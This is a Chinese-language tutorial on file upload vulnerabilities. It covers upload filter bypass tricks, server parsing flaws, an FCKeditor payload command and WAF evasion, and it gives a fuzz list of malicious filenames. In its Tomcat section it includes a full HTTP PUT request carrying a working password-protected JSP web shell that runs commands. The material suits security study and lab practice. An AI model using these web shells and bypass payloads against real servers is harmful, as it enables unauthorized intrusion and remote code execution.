进阶篇 5. 文件上传漏洞

148 阅读2分钟

文件上传漏洞

1. 文件上传漏洞的产生与危害

  • 概念
    • 服务器端脚本语言未严格验证和过滤上传文件
  • 危害
    • 控制整个网站或服务器

2. web 文件上传检测类型

    1. JS 绕过

修改前端js代码

    1. 文件类型Content-Type验证

修改文件 Content-Type

    1. 黑名单后缀验证

使用 apache 解析漏洞 .php3

    1. 黑名单未验证.htaccess
<FilesMatch "loudong.jpg">
	SetHandler application/x-httpd-php
</FilesMatch>
    1. 黑名单大未处理大小写

使用大写PHP绕过

    1. 黑名单未处理字符两端空格

使用php+空格

    1. 黑名单未处理末尾.

增加一个., php.

    1. 未处理 ::$DATA

增加 ::$DATA 流处理,

    1. 直接使用了上传的文件名称

使用 test.php . 绕过 空格后面的内容会被丢弃

    1. 字符串替换

使用 PPHPHP 绕过

    1. 使用了变量作为文件路径一部分

使用00截断 post情况下要url_decode

    1. 使用文件前面两个字节码作为文件类型判断

使用图片php + 包含漏洞

    1. 使用 getimagesize 文件类型判断

使用图片php + 包含漏洞

    1. 使用imagecreatefrompng 二次渲染

使用二次渲染的图片添加 php 绕过

    1. 先mv图片再rename

使用条件竞争执行

    1. 可以上传 .7z文件

使用php.7z解析漏洞

3. 解析与编辑器漏洞

  • 解析漏洞
    • vulhub 安装
      • 下载与启动
      • 环境准备(IIS6,Tomcat,Nginx,Apache)
    • 实例
      • IIS6 解析漏洞

      (1)当建立*.asa、*.asp 格式的文件夹时,其目录下的任意文件都将被IIS 当做asp 文件解析。

      (2)当文件*.asp;1.jpg IIS6.0 同样会将文件当做 asp 文件解析。

      • Tomcat 文件上传漏洞
      PUT /1.jsp/ HTTP/1.1
      Host: 192.168.239.135:8080
      Accept: */*
      Accept-Language: en
      User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
      Connection: close
      Content-Type: application/x-www-form-urlencoded
      Content-Length: 750
      <%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%>
          <%!public static String excuteCmd(String c) {
      
          StringBuilder line = new StringBuilder();
      
          try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));
      
          String temp = null;while ((temp = buf.readLine()) != null) {
      
          line.append(temp+"\n");}buf.close();} catch (Exception e) {
      
          line.append(e.getMessage());}return line.toString();}%><%if("123".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){
      
          out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>
      
      • Nginx 解析漏洞

      123.jpg后面加上 /a.php

      • Apache 解析漏洞
      • Apache 换行解析漏洞
  • 编辑器漏洞
    • fckeditor 示例
      • Payload 构建

      php.exe fck.php 127.0.0.1:80 /fckeditor/

4. Waf 绕过

  • 环境准备
    • 安全狗(安全网关防火墙)
  • 绕过策略
    • 垃圾数据溢出

    通过添加 aaaaaaaaaaaaaaaaaaaaaaaaa; 垃圾数据截断

    • 符号编译

    Content-Disposition: form-data; name="upload_file"; filename="test.php;

    • 数据截断

    Content-Disposition: form-data; name="upload_file"; filename="test.jpg;.php;

    • 换行绕过

    Content-Disposition: form-data; name="upload_file"; filename="t e s t . p h p;

    • fuzz 测试
    test.pHp4%00
    test.Php.xxx
    test.PHP%00
    test.Phtml%00
    test.pHTml%00.jpg